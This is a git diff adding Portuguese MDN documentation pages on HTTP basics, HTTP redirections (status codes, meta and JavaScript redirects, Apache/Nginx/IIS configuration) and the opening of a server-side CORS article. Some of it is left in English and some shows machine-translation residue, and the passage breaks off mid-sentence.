Portanto, o HTTP utiliza o padrão TCP, que é baseado em conexão, mesmo que nem sempre seja obrigatório o uso de uma conexão.</p> + +<p>No protocolo HTTP/1.0 uma conexão TCP era aberta para cada par de requisição/resposta trocada, introduzindo duas grandes falhas: abrir uma conexão requer várias viagens de ida/volta de mensagens, e portanto é lento, mas se torna mais eficiente quando mensagens são enviadas em maior número ou maior frequência: "conexões quentes" são mais eficientes que "conexões frias" (que envia poucas mensagens ou com baixa frequência).</p> + +<p>Para contornar essas falhas, o protocolo HTTP/1.1 introduziu o conceito de linhas de produção (ou <em>pipelining</em>) — que se provou difícil de ser implementado — e conexões persistentes: as conexões TCPs feitas embaixo, podem ser parcialmente controladas usando o cabeçalho HTTP {{HTTPHeader("Connection")}}. O HTTP/2.0 foi mais além, multiplexando várias mensagens através de uma única conexão, ajudando a manter a conexão mais quente, e mais eficiente.</p> + +<p>Experimentos estão sendo feitos para projetar um protocolo de transporte mais adequado para o HTTP. Por exemplo, a Google está fazendo testes com o <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> que é construído sobre o UDP para prover um protocolo de transporte mais confiável e eficiente.</p> + +<h2 id="O_que_pode_ser_controlado_pelo_HTTP">O que pode ser controlado pelo HTTP?</h2> + +<p>A natureza extensível do HTTP tem permitido mais controle e funcionalidade para a internet, ao longo do tempo. Cache e autenticação são funcionalidades suportadas desde o início da história do HTTP. A habilidade de relaxar as restrições na origem, em contraste, foi adicionada nos anos 2010s.</p> + +<p>Aqui está uma lista de funcionalidades comuns, controláveis com HTTP:</p> + +<ul> + <li><em><a href="/pt-BR/docs/Web/HTTP/HTTP">Cache</a></em><br> + A forma como documentos são cacheados pode ser controlada pelo HTTP. O servidor pode instruir <em>proxies</em> e clientes, sobre o que cachear e por quanto tempo. O cliente pode instruir <em>proxies</em> de cache intermediários a ignorar o documento armazenado.</li> + <li><em>Relaxamento das restrições na origem</em><br> + Para prevenir bisbilhoteiros e outros invasores de privacidade, os navegadores reforçam estritamente a separação dos sites Web. Somente páginas de <strong>mesma origem</strong> podem acessar todas as informações de uma página Web. Apesar dessa restrição ser um fardo grande aos servidores, os cabeçalhos HTTP podem relaxar essa separação estrita no lado dos servidores, permitindo que um documento seja composto por várias fontes de informação em outros domínios (e pode até ter razões específicas de segurança para se fazer isso), como um tecido de retalhos.</li> + <li><em>Autenticação</em><br> + Algumas páginas podem ser protegidas para que apenas usuários específicos possam acessá-la. Autenticação básica pode ser fornecida pelo HTTP, usando tanto o cabeçalho {{HTTPHeader("WWW-Authenticate")}} e similares, quanto configurando uma sessão específica usando <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP</a>.</li> + <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy e tunelamento</a></em><br> + Servidores e/ou clientes estão frequentemente localizados em <em>intranets</em> e escondem seu verdadeiro endereço IP aos outros. Requisições HTTP recorrem aos <em>proxies</em> para contornar essa barreira na rede. Mas nem todos os <em>proxies</em> são <em>proxies</em> HTTP. O <a href="https://pt.wikipedia.org/wiki/SOCKS">protocolo SOCKS</a>, por exemplo, opera em um nível mais baixo. Outros protocolos, como ftp, podem ser tratados por esses <em>proxies</em>.</li> + <li><em>Sessões</em><br> + Usando os <em>cookies</em> HTTP, permite você vincular requisições com o estado do servidor. Isso cria as sessões, apesar do protocolo HTTP básico não manter estado. Isso é útil não só para os carrinhos de compras de <em>e-commerces</em>, mas também para qualquer site que permita customização das respostas a nível de usuário.</li> +</ul> + +<h2 id="Fluxo_HTTP">Fluxo HTTP</h2> + +<p>Quando o cliente quer comunicar com um servidor, este sendo um servidor final ou um <em>proxy</em>, ele realiza os seguintes passos:</p> + +<ol> + <li>Abre uma conexão TCP: A conexão TCP será usada para enviar uma requisição, ou várias, e receber uma resposta. O cliente pode abrir uma nova conexão, reusar uma conexão existente, ou abrir várias conexões aos servidores.</li> + <li>Envia uma mensagem HTTP: mensagens HTTP (antes do HTTP/2.0) são legíveis às pessoas. Com o HTTP/2.0, essas mensagens simples são encapsuladas dentro de quadros (<em>frames</em>), tornando-as impossíveis de ler diretamente, mas o princípio se mantém o mesmo. + <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</code></pre> + </li> + <li>Lê a resposta do servidor: + <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> + </li> + <li>Fecha ou reutiliza a conexão para requisições futuras.</li> +</ol> + +<p>Se a linha de montagem (<em>pipelining</em>) estiver ativada, várias requisições podem ser enviadas sem que a primeira resposta seja totalmente recebida. A linha de montagem HTTP se provou difícil de ser implementada nas redes existentes, onde peças antigas de <em>software</em> coexistem com versões modernas. A linha de montagem HTTP tem sido substituída no HTTP/2.0 com multiplexação mais robusta de requisições dentro de um quadro (<em>frame</em>).</p> + +<h2 id="Mensagens_HTTP">Mensagens HTTP</h2> + +<p>HTTP/1.1 e mensagens mais antigas HTTP são legíveis às pessoas. No HTTP/2.0, essas mensagens são embutidas numa nova estrutura binária, um quadro, permitindo otimizações como compressão de cabeçalhos e multiplexação. Mesmo se somente parte da mensagem HTTP original for enviada nessa versão do HTTP, a semântica de cada mensagem permanece inalterada e o cliente reconstitui (virtualmente) a requisição HTTP/1.1 original. É portanto útil entender as mensagens HTTP/2.0 no formato da versão HTTP/1.1.</p> + +<p>Existem dois tipos de mensagens, requisições e respostas, cada uma com seu próprio formato.</p> + +<h3 id="Requisições">Requisições</h3> + +<p>Exemplo de uma requisição HTTP:</p> + +<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>As requisições consistem dos seguintes elementos:</p> + +<ul> + <li>Um <a href="/pt-BR/docs/Web/HTTP/Methods">método</a> HTTP, geralmente é um verbo como {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("PUT")}}, etc, ou um substantivo como {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} que define qual operação o cliente quer fazer. Tipicamente, um cliente que pegar um recurso (usando {{HTTPMethod("GET")}}) ou publicar dados de um <a href="/pt-BR/docs/Web/Guide/HTML/Forms">formulário HTML</a> (usando {{HTTPMethod("POST")}}), embora mais operações podem ser necessárias em outros casos.</li> + <li>O caminho do recurso a ser buscado; a URL do recurso sem os elementos que são de contexto, por exemplo sem o protocolo {{glossary("protocol")}} (<code>http://</code>), o domínio {{glossary("domain")}} (aqui como <code>developer.mozilla.org</code>), ou a porta {{glossary("port")}} TCP (aqui indicada pelo <code>80</code> que é ocultado por ser o número da porta padrão)</li> + <li>A versão do protocolo HTTP.</li> + <li><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos</a> opcionais que contém informações adicionais para os servidores.</li> + <li>Ou um corpo de dados, para alguns métodos como <code>POST</code>, similares aos corpos das respostas, que contém o recurso requisitado.</li> +</ul> + +<h3 id="Respostas">Respostas</h3> + +<p>Examplo de resposta HTTP:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>Respostas consistem dos seguintes elementos:</p> + +<ul> + <li>A versão do protocolo HTTP que elas seguem.</li> + <li>Um <a href="/pt-BR/docs/Web/HTTP/Status">código de status</a>, indicando se a requisição foi bem sucedida, ou não, e por quê.</li> + <li>Uma mensagem de status, uma pequena descrição informal sobre o código de status.</li> + <li><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos</a> HTTP, como aqueles das requisições.</li> + <li>Opcionalmente, um corpo com dados do recurso requisitado.</li> +</ul> + +<h2 id="APIs_baseadas_no_HTTP">APIs baseadas no HTTP</h2> + +<p>A API mais utilizada construída em cima do HTTP é a {{domxref("XMLHttpRequest")}}, que pode ser usada para trocar dados entre um {{Glossary("user agent")}} e um servidor.</p> + +<p>Outra API, de <a href="/en-US/docs/Web/API/Server-sent_events">eventos enviados pelo servidor</a>, é um serviço de mão-única que permite um servidor enviar eventos ao cliente, usando HTTP como um mecanismo de transporte. Usando a interface {{domxref("EventSource")}}, o cliente abre uma conexão e estabelece os manipuladores de evento. O navegador do cliente converte automaticamente as mensagens que chegam pelo fluxo HTTP em objetos {{domxref("Event")}} apropriados, entregando-os aos manipuladores de evento que foram registrados para os tipos de eventos {{domxref("Event.type", "type")}} se conhecidos, ou para o manipulador de evento {{domxref("EventSource.onmessage", "onmessage")}} se nenhum manipulador de evento específico ao tipo foi definido.</p> + +<h2 id="Conclusão">Conclusão</h2> + +<p>O HTTP é um protocolo extensível que é fácil de se usar. A arquitetura cliente-servidor, combinada com a habilidade de simplesmente adicionar cabeçalhos, permite que o HTTP avance suas funcionalidades juntamente com a elasticidade da Web.</p> + +<p>Embora o HTTP/2.0 adicione mais complexidade, embutindo mensagens HTTP em quadros para melhorar a performance, a estrutura básica das mensagens continua a mesma desde o HTTP/1.0. Fluxo de sessões permanece simples, permitindo-o a ser investigado, e depurado com um simples <a href="/pt-BR/docs/Tools/Network_Monitor">monitor de mensagens HTTP</a>.</p> diff --git a/files/pt-br/web/http/redirecionamento/index.html b/files/pt-br/web/http/redirecionamento/index.html new file mode 100644 index 0000000000..c429ac82cb --- /dev/null +++ b/files/pt-br/web/http/redirecionamento/index.html @@ -0,0 +1,260 @@ +--- +title: Redirecionamentos em HTTP +slug: Web/HTTP/Redirecionamento +tags: + - Guía + - HTTP + - Redirecionamento +translation_of: Web/HTTP/Redirections +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">Redirecionamento de URL, também conhecido como encaminhamento de URL, é uma técnica que à uma página, formulário ou uma aplicação web inteira, mais de um endereço de URL. HTTP fornece uma espécie especial de respostas, <em><strong>HTTP redirects</strong></em>, executar esta operação é utilizada para vários objetivos: redirecionamento temporário enquanto está sendo feita a manutenção do web site, redirecionamento permanente para manter links externos funcionando após alterações na arquitetura do web site, páginas de progresso enquanto é feito o envio de um arquivo, e assim por diante.</p> + +<h2 id="Princípio">Princípio</h2> + +<p>Em HTTP, um redirecionamento é acionado pelo servidor enviando respostas especiais para uma solicitação: <em>redirects</em>. Os redirecionamentos HTTP são respostas com um código de status de 3xx. Um navegador, ao receber uma resposta de redirecionamento, usa o novo URL fornecido e carrega-o imediatamente: a maior parte do tempo, o redirecionamento é transparente para o usuário, além de um pequeno desempenho.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p> + +<p>Existem vários tipos de redirecionamentos e eles se enquadram em três categorias: redirecionamentos permanentes, temporários e especiais.</p> + +<h3 id="Redirecionamentos_permanentes">Redirecionamentos permanentes</h3> + +<p>Estes redirecionamentos devem durar permanentemente. Eles implicam que o URL original não deve mais ser usado e que o novo é preferido. Os robôs dos mecanismos de pesquisa desencadeiam uma atualização do URL associado para o recurso em seus índices.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Text</th> + <th scope="col">Method handling</th> + <th scope="col">Typical use case</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>301</code></td> + <td><code>Movido permanentemente</code></td> + <td>{{HTTPMethod("GET")}} métodos inalterados.<br> + Outros podem ou não serem alterados para {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td> + <td>Reorganização de um web site.</td> + </tr> + <tr> + <td><code>308</code></td> + <td><code>Permanentemente redirecionado</code></td> + <td>Método e corpo não alterados</td> + <td>Reorganização de um web site, com não-GET links/operações.</td> + </tr> + </tbody> +</table> + +<p><a id="attr1" name="attr1"></a>[1]A especificação não tinha intenção de permitir mudanças de método, mas praticamente existem agentes de usuários lá fazendo isso. 308 foi criado para remover a ambiguidade do comportamento ao usar métodos não-GET.</p> + +<h3 id="Redirecionamentos_temporários">Redirecionamentos temporários</h3> + +<p>Às vezes, o recurso solicitado não pode ser acessado a partir da sua localização canônica, mas pode ser acessado a partir de outro local. Neste caso, um redirecionamento temporário pode ser usado. Os robôs do mecanismo de busca não memorizam o novo e temporário link. Os redirecionamentos temporários também são usados ao criar, atualizar e excluir recursos para apresentar páginas de progresso temporárias.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Text</th> + <th scope="col">Method handling</th> + <th scope="col">Typical use case</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>302</code></td> + <td><code>Encontrado</code></td> + <td>{{HTTPMethod("GET")}} métodos inalterados.<br> + Outros podem ou não serem alterados para {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td> + <td>A página da Web não está temporariamente disponível por motivos imprevisíveis. Dessa forma, os motores de busca não atualizam seus links.</td> + </tr> + <tr> + <td><code>303</code></td> + <td><code>Ver outro</code></td> + <td>{{HTTPMethod("GET")}} Métodos inalterados.<br> + Outros <em>alterados</em> para <code>GET</code> (corpo perdido).</td> + <td>Usado para redirecionar após um {{HTTPMethod ("PUT")}} ou um {{HTTPMethod ("POST")}} para evitar uma atualização da página que reativaria a operação.</td> + </tr> + <tr> + <td><code>307</code></td> + <td><code>Redirecionamento temporário</code></td> + <td>Método ou corpo não alterados</td> + <td>A página da Web não está temporariamente disponível por motivos imprevisíveis. Dessa forma, os motores de busca não atualizam seus links. Melhor que 302 quando os links / operações não-GET estão disponíveis no site.</td> + </tr> + </tbody> +</table> + +<p><a id="attr2" name="attr2"></a>[2] A especificação não tinha intenção de permitir mudanças de método, mas praticamente existem agentes de usuários lá fazendo isso. 307 foi criado para remover a ambiguidade do comportamento ao usar métodos não-GET.</p> + +<h3 id="Redirecionamentos_Especiais">Redirecionamentos Especiais</h3> + +<p>Além desses redirecionamentos usuais, existem dois redirecionamentos específicos. O {{HTTPStatus ("304")}} (Não Modificado) redireciona uma página para a cópia em cache local (que estava obsoleta) e {{HTTPStatus ("300")}} (Múltipla escolha) é um redirecionamento manual: o corpo, apresentado pelo navegador como uma página da Web, lista os possíveis redirecionamentos e o usuário clica em um para selecioná-lo.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Text</th> + <th scope="col">Typical use case</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>300</code></td> + <td><code>Múltipla Escolha</code></td> + <td>Não muitas: as opções estão listadas em uma página HTML no corpo. Poderia ser servido com um estado {{HTTPStatus ("200")}} OK.</td> + </tr> + <tr> + <td><code>304</code></td> + <td><code>Não Modificado</code></td> + <td>Atualização de cache: isso indica que o valor do cache ainda é recente e pode ser usado.</td> + </tr> + </tbody> +</table> + +<h2 id="Alternative_way_of_specifying_redirections">Alternative way of specifying redirections</h2> + +<p>HTTP redirects aren't the only way to define redirections. There are two other methods: HTML redirections using the {{HTMLElement("meta")}} element, and JavaScript redirections using the <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> + +<h3 id="HTML_redirections">HTML redirections</h3> + +<p>HTTP redirects are the preferred way to create redirections, but sometimes the Web developer doesn't have control over the server or cannot configure it. For these specific cases, the Web developers can craft an HTML page with a {{HTMLElement("meta")}} element and the {{htmlattrxref("http-equiv", "meta")}} attribute set to <code>refresh</code> in the {{HTMLElement("head")}} of the page. When displaying the page, the browser will find this element and will go to the indicated page.</p> + +<pre class="brush: html"><head> + <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> +</head> +</pre> + +<p>The {{htmlattrxref("content")}} attribute starts with a number indicating how many seconds the browser should wait before redirecting to the given URL. Always set it to <code>0</code>, for better accessibility.</p> + +<p>Obviously, this method only works with HTML pages (or similar) and cannot be used for images or any other type of content.</p> + +<div class="note"> +<p>Note that these redirections break the back button in a browser: you can go back to a page with this header but it instantaneously moves forward again.</p> +</div> + +<h3 id="JavaScript_redirections">JavaScript redirections</h3> + +<p>Redirections in JavaScript are created by setting a value to the {{domxref("window.location")}} property and the new page is loaded.</p> + +<pre class="brush: js">window.location = "http://www.example.com/";</pre> + +<p>Like HTML redirections, this can't work on all resources, and obviously, this will only work on clients that execute JavaScript. On the other side, there are more possibilities as you can trigger the redirection only if some conditions are met, for example.</p> + +<h3 id="Order_of_precedence">Order of precedence</h3> + +<p>With three possibilities for URL redirections, several methods can be specified at the same time, but which one is applied first? The order of precedence is the following:</p> + +<ol> + <li>HTTP redirects are always executed first when there is not even a page transmitted, and of course not even read.</li> + <li>HTML redirects ({{HTMLElement("meta")}}) are executed if there weren't any HTTP redirects.</li> + <li>JavaScript redirects are used as the last resort, and only if JavaScript is enabled on the client side.</li> +</ol> + +<p>When possible, always try to use HTTP redirects, and don't use a {{HTMLElement("meta")}} element. If a developer changes the HTTP redirects and forgets the HTML redirects, redirects are no more identical or end up in an infinite loop, or other nightmares happen.</p> + +<h2 id="Use_cases">Use cases</h2> + +<p>There are numerous use cases for redirects, but as performance is impacted with every redirect, their use should be kept to a minimum.</p> + +<h3 id="Domain_aliasing">Domain aliasing</h3> + +<p>Ideally, there is one location, and therefore one URL, for one resource. But there are reasons for wanting to have alternative names for a resource (several domains, like with and without the www prefix or shorter and easy to remember URLs, …). In these cases, rather than duplicating the resource, it is useful to use a redirect to the one true (canonical) URL.</p> + +<p>Domain aliasing can be done for several reasons:</p> + +<ul> + <li>Expanding the reach of your site. A common case is when your site resides under the <code>www.example.com</code> domain and accessing your pages from <code>example.com</code> should be possible, too. Redirections for <code>example.com</code> pages to <code>www.example.com</code> are set up in this case. You might also provide commonly used synonym names or frequent typos of your domain names.</li> + <li>Moving to a different domain. For example, your company has been renamed and you when searching for the old name, you want people used to the old company Web site still find you under the new name.</li> + <li>Forcing HTTPS. Requests to the HTTP version of your site will be redirected to the HTTPS version of your site.</li> +</ul> + +<h3 id="Keeping_links_alive">Keeping links alive</h3> + +<p>When you restructure Web sites, URLs of resources change. Even if you can update the internal links of your Web site to match the new naming scheme, you have no control over the URLs used by external resources. You don't want to break these links, as they bring you valuable users (and help your SEO), so you set up redirects from the old URLs to the new ones.</p> + +<div class="note"> +<p>Even if this technique also works for internal links, you should try to avoid having internal redirects. A redirect has a significant performance cost (as an extra HTTP request is done) and if you can avoid it by correcting internal links, you should fix these links.</p> +</div> + +<h3 id="Temporary_responses_to_unsafe_requests">Temporary responses to unsafe requests</h3> + +<p>{{Glossary("safe", "Unsafe")}} requests modify the state of the server and the user shouldn't replay them inadvertently. Typically, you don't want your users to resend {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} or {{HTTPMethod("DELETE")}} requests. If you just serve the response as the result of this request, a simple press of the reload button will (possibly after a confirmation message), resend the request.</p> + +<p>In this case, the server can send back a {{HTTPStatus("303")}} (See Other) response that will contain the right information, but if the reload button is pressed, only this page is redisplayed, without replaying the unsafe requests.</p> + +<h3 id="Temporary_responses_to_long_requests">Temporary responses to long requests</h3> + +<p>Some requests may need more time on the server like sometimes {{HTTPHeader("DELETE")}} requests that are scheduled for later processing. In this case, the response is a {{HTTPStatus("303")}} (See Other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about the progress, or allows to cancel it.</p> + +<h2 id="Configuring_redirects_in_common_servers">Configuring redirects in common servers</h2> + +<h3 id="Apache">Apache</h3> + +<p>Redirects can be set either in the server config file or in the <code>.htaccess</code> of each directory.</p> + +<p>The <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> module has <code>Redirect</code> and <code>Redirect_Match</code> directives that set up a {{HTTPStatus("302")}} response (by default):</p> + +<pre><VirtualHost *:80> + ServerName example.com + Redirect / http://www.example.com +</VirtualHost> +</pre> + +<p>The URL <code>http://example.com/</code> will be redirected to <code>http://www.example.com/</code> (but not <code>http://example.com/other.html</code> )</p> + +<p><code>Redirect_Match</code> does the same but takes a regular expression to define a collection of URLs that are affected:</p> + +<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre> + +<p>All documents in the <code>images/</code> folder will be redirected to a different domain.</p> + +<p>If you don't want to set up a temporary redirect, an extra parameter (either the HTTP status code to use or the <code>permanent</code> keyword) can be used to set up a different redirect:</p> + +<pre>Redirect permanent / http://www.example.com +Redirect 301 / http://www.example.com +</pre> + +<p>The <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> module can also be used to create redirects. It is more flexible, but a bit more complex to use.</p> + +<h3 id="Nginx">Nginx</h3> + +<p>In Nginx, you create a specific server block for the content you want to redirect:</p> + +<pre>server { + listen 80; + server_name example.com; + return 301 $scheme://www.example.com$request_uri; +}</pre> + +<p>To apply a redirect to a folder or a subset of the pages only, use the <code>rewrite</code> directive:</p> + +<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; +rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; +</pre> + +<h3 id="IIS">IIS</h3> + +<p>In IIS, you use the <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> element to configure redirections.</p> + +<h2 id="Redirection_loops">Redirection loops</h2> + +<p>Redirection loops happen when successive redirections follow the one that has already been followed. In other words, there is a loop that will never be finished and no page will be found ultimately.</p> + +<p>Most of the time this is a server problem, and if the server cannot detect it, it will send back a {{HTTPStatus("500")}} <code>Internal Server Error</code>. If you encounter such an error soon after modifying a server configuration, this is likely a redirection loop.</p> + +<p>Sometimes, the server won't detect it: a redirection loop can spread over several servers which each don't have the full picture. In this case, browsers will detect it and post an error message. Firefox will display:</p> + +<pre class="bz_comment_text" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre> + +<p>while Chrome will display:</p> + +<pre>This Webpage has a redirect loop</pre> + +<p>In both cases, the user can't do much (unless a corruption is happening on their side, like a mismatch of cache or cookies).</p> + +<p>It is important to avoid redirection loops as they completely break the user experience.</p> diff --git a/files/pt-br/web/http/server-side_access_control/index.html b/files/pt-br/web/http/server-side_access_control/index.html new file mode 100644 index 0000000000..96d189e656 --- /dev/null +++ b/files/pt-br/web/http/server-side_access_control/index.html @@ -0,0 +1,212 @@ +--- +title: Controle de Acesso do lado do servidor (CORS) +slug: Web/HTTP/Server-Side_Access_Control +translation_of: Web/HTTP/CORS +--- +<p><font><font>Os sistemas de controle de acesso realizam </font><font> identificação de </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://searchsoftwarequality.techtarget.com/definition/authorization&usg=ALkJrhgrx7L6XQEL-QG4A5SY3jla7SrNHA" rel="noopener"><font><font>autorização</font></font></a><font><font> , </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://searchsecurity.techtarget.com/definition/authentication&usg=ALkJrhhWsbD8tDshChXZ3hnAhempgwOyXw" rel="noopener"><font><font>autenticação</font></font></a><font><font> , aprovação de acesso e prestação de contas de entidades por meio de credenciais de login, incluindo </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://searchsecurity.techtarget.com/definition/password&usg=ALkJrhilnjZN5ktJEcxF-46B0IA7otOZEg" rel="noopener"><font><font>senhas</font></font></a><font><font> , números de identificação pessoal (PINs), </font><font> varreduras </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://searchsecurity.techtarget.com/definition/biometrics&usg=ALkJrhhhm_VuMmwP8y53PpOCxVJttPPfhA" rel="noopener"><font><font>biométricas</font></font></a><font><font> e chaves físicas ou eletrônicas.</font></font></p> + +<p><font><font>O controle de acesso é uma técnica de segurança que pode ser usada para regular quem ou o que pode exibir ou usar recursos em um ambiente de computação.</font></font></p> + +<p>{{HTTPSidebar}}</p> + +<p><font><font>Os navegadores enviam </font></font><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos HTTP </a><font><font><a href="/pt-BR/docs/"> </a>específicos </font><font>para solicitações entre sites iniciadas de dentro </font></font>XMLHttpRequest<font><font> </font></font><font><font>ou da </font></font><a href="/en-US/docs/Web/API/Fetch_API"> </a><a href="/pt-BR/docs/Web/API/Fetch_API/Using_Fetch">Fetch Api </a><font><font>. </font><font>Eles também esperam ver cabeçalhos HTTP específicos enviados de volta com respostas entre sites. </font><font>Uma visão geral desses cabeçalhos, incluindo amostra de código JavaScript que inicia solicitações e processa respostas do servidor, além de uma discussão sobre cada cabeçalho, pode ser encontrada no artigo</font></font> <a href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS">HTTP Access Control (CORS) article</a><font><font> e deve ser lida como um artigo complementar para este. </font><font>Este artigo aborda o processamento de </font></font><strong><font><font>solicitações de controle de acesso</font></font></strong><font><font> e a formulação de </font></font><strong><font><font>respostas de controle de acesso</font></font></strong><font><font>em PHP. </font><font>O público-alvo deste artigo são programadores ou administradores de servidores. </font><font>Embora os exemplos de código mostrados aqui estejam em PHP, conceitos semelhantes se aplicam ao ASP.net, Perl, Python, Java, etc .; </font><font>em geral, esses conceitos podem ser aplicados a qualquer ambiente de programação do servidor que processa solicitações HTTP e formula dinamicamente respostas HTTP.</font></font></p> + +<h2 id="Discussão_de_cabeçalhos_HTTP"><font><font>Discussão de cabeçalhos HTTP</font></font></h2> + +<p><font><font>O artigo que cobre os<a href="/pt-BR/docs/Web/HTTP/Headers"> cabeçalhos HTTP usados por clientes e servidores</a></font></font> <font><font>deve ser considerado leitura de pré-requisito.</font></font></p> + +<h2 id="Amostras_de_código_de_trabalho"><font><font>Amostras de código de trabalho</font></font></h2> + +<p><font><font>Os trechos de PHP (e as invocações de JavaScript para o servidor) nas seções subseqüentes são obtidos das </font></font><a class="external" href="http://arunranga.com/examples/access-control/" rel="noopener"><font><font>amostras de código de trabalho postadas aqui. </font></font></a><font><font>Eles funcionarão em navegadores que implementam sites cruzados </font></font>{{domxref("XMLHttpRequest")}}.</p> + +<h2 id="Solicitações_simples_entre_sites"><font><font>Solicitações simples entre sites</font></font></h2> + +<p><a href="/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS">Solicitações simples de controle de acesso </a><font><font><a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests"> </a>são iniciadas quando:</font></font></p> + +<ul> + <li><font><font>Um HTTP / 1.1 </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/GET" title="O método HTTP GET solicita uma representação do recurso especificado. Solicitações usando GET devem recuperar apenas dados."><code>GET</code></a><font><font> ou a </font></font><a href="/pt-BR/docs/Web/HTTP/Methods/POST" title="O método HTTP POST envia dados para o servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho Content-Type."><code>POST</code></a><font><font> é usado como método de solicitação. </font><font>No caso de um POST, o </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Content-Type" title="O cabeçalho da entidade Content-Type é usado para indicar o tipo de mídia do recurso."><code>Content-Type</code></a><font><font> do corpo do pedido é uma de </font></font><code>application/x-www-form-urlencoded</code><font><font>, </font></font><code>multipart/form-data</code><font><font>ou</font></font><code>text/plain.</code></li> + <li><font><font>Nenhum cabeçalho personalizado é enviado com a solicitação HTTP (como </font></font><code>X-Modified</code><font><font>, etc.)</font></font></li> +</ul> + +<p><font><font>Nesse caso, as respostas podem ser enviadas de volta com base em algumas considerações.</font></font></p> + +<ul> + <li><font><font>Se o recurso em questão for amplamente acessado (como qualquer recurso HTTP acessado pelo GET), o envio do </font><font>cabeçalho será suficiente, a </font><strong><font>menos que</font></strong><font> o recurso precise de credenciais, como </font><font>informações de autenticação de </font><a href="/pt-BR/docs/Web/HTTP/Cookies"><font>cookies</font></a><font> e HTTP. </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Origin" title="O cabeçalho da resposta Access-Control-Allow-Origin indica se a resposta pode ser compartilhada com o código solicitante da origem especificada."><code>Access-Control-Allow-Origin</code></a><code>: *</code></li> + <li><font><font>Se o recurso deve ser mantido restrito com base no domínio do solicitante, </font></font><strong><font><font>OU</font></font></strong><font><font> se o recurso precisar ser acessado com credenciais (ou define credenciais), </font></font><a href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin&usg=ALkJrhhwNS3HqZius2soHeJ_asp-bwvgYA" title="O cabeçalho da solicitação de origem indica de onde uma busca se origina. Não inclui nenhuma informação de caminho, mas apenas o nome do servidor. É enviado com solicitações CORS, bem como com solicitações POST. É semelhante ao cabeçalho Referer, mas, diferentemente desse cabeçalho, não divulga todo o caminho."><code>Origin</code></a><font><font> pode ser necessário </font><font>filtrar pelo </font><font>cabeçalho </font><font>da solicitação </font><font>ou, pelo menos, repetir o retorno do solicitante </font></font><code>Origin</code><font><font> ( por exemplo </font><font>). </font><font>Além disso, o </font><font>cabeçalho deverá ser enviado. </font><font>Isso é discutido em uma </font><a href="/pt-BR/docs/Web/HTTP/Server-Side_Access_Control"><font>seção subsequente</font></a><font> . </font></font><a href="/pt-BR/docs/Web/HTTP/Headers/Access-Control-Allow-Origin" title="O cabeçalho da resposta Access-Control-Allow-Origin indica se a resposta pode ser compartilhada com o código solicitante da origem especificada."><code>Access-Control-Allow-Origin</code></a><code>: <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=en&sp=nmt4&tl=pt&u=http://arunranga.com/&usg=ALkJrhjGkKIBAoEKxwNFuLJLg9smgZgatQ" rel="freelink noopener">http://arunranga.com 